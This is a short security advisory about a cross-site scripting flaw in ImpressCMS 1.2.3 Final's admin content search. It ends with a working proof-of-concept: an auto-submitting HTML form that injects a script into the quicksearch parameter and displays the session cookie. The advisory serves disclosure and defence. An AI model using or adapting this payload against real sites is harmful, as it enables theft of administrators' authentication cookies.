source: https://www.securityfocus.com/bid/45541/info

ImpressCMS is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

ImpressCMS 1.2.3 Final is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/modules/content/admin/content.php" method="post" name="main">
<input type="hidden" name="quicksearch_ContentContent" value=&#039;search"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="button_quicksearch_ContentContent" value="Search">
<input type="hidden" name="filtersel" value="default">
<input type="hidden" name="limitsel" value="15">
</form>
<script>
document.main.submit();
</script>